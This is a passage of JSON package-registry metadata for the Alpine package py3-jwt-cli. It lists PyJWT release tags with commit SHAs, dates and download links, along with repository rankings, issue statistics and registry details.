","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:33.734Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":21.468306824414324,"stargazers_count":2.0449737522526052,"forks_count":2.193841573297814,"average":6.426780537491186},"purl":"pkg:apk/alpine/py3-jwt-cli?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.12","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt-cli","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt-cli","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt-cli/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-jwt-cli/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-jwt-cli/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-jwt-cli/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-jwt-cli/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-jwt-cli/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-jwt-cli/codemeta","maintainers":[],"registry":{"name":"alpine-v3.12","url":"https://pkgs.alpinelinux.org/packages?branch=v3.12","ecosystem":"alpine","default":false,"packages_count":12763,"maintainers_count":216,"namespaces_count":2,"keywords_count":1443,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":482},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.748Z","updated_at":"2026-06-10T05:16:20.001Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/namespaces"}},{"id":6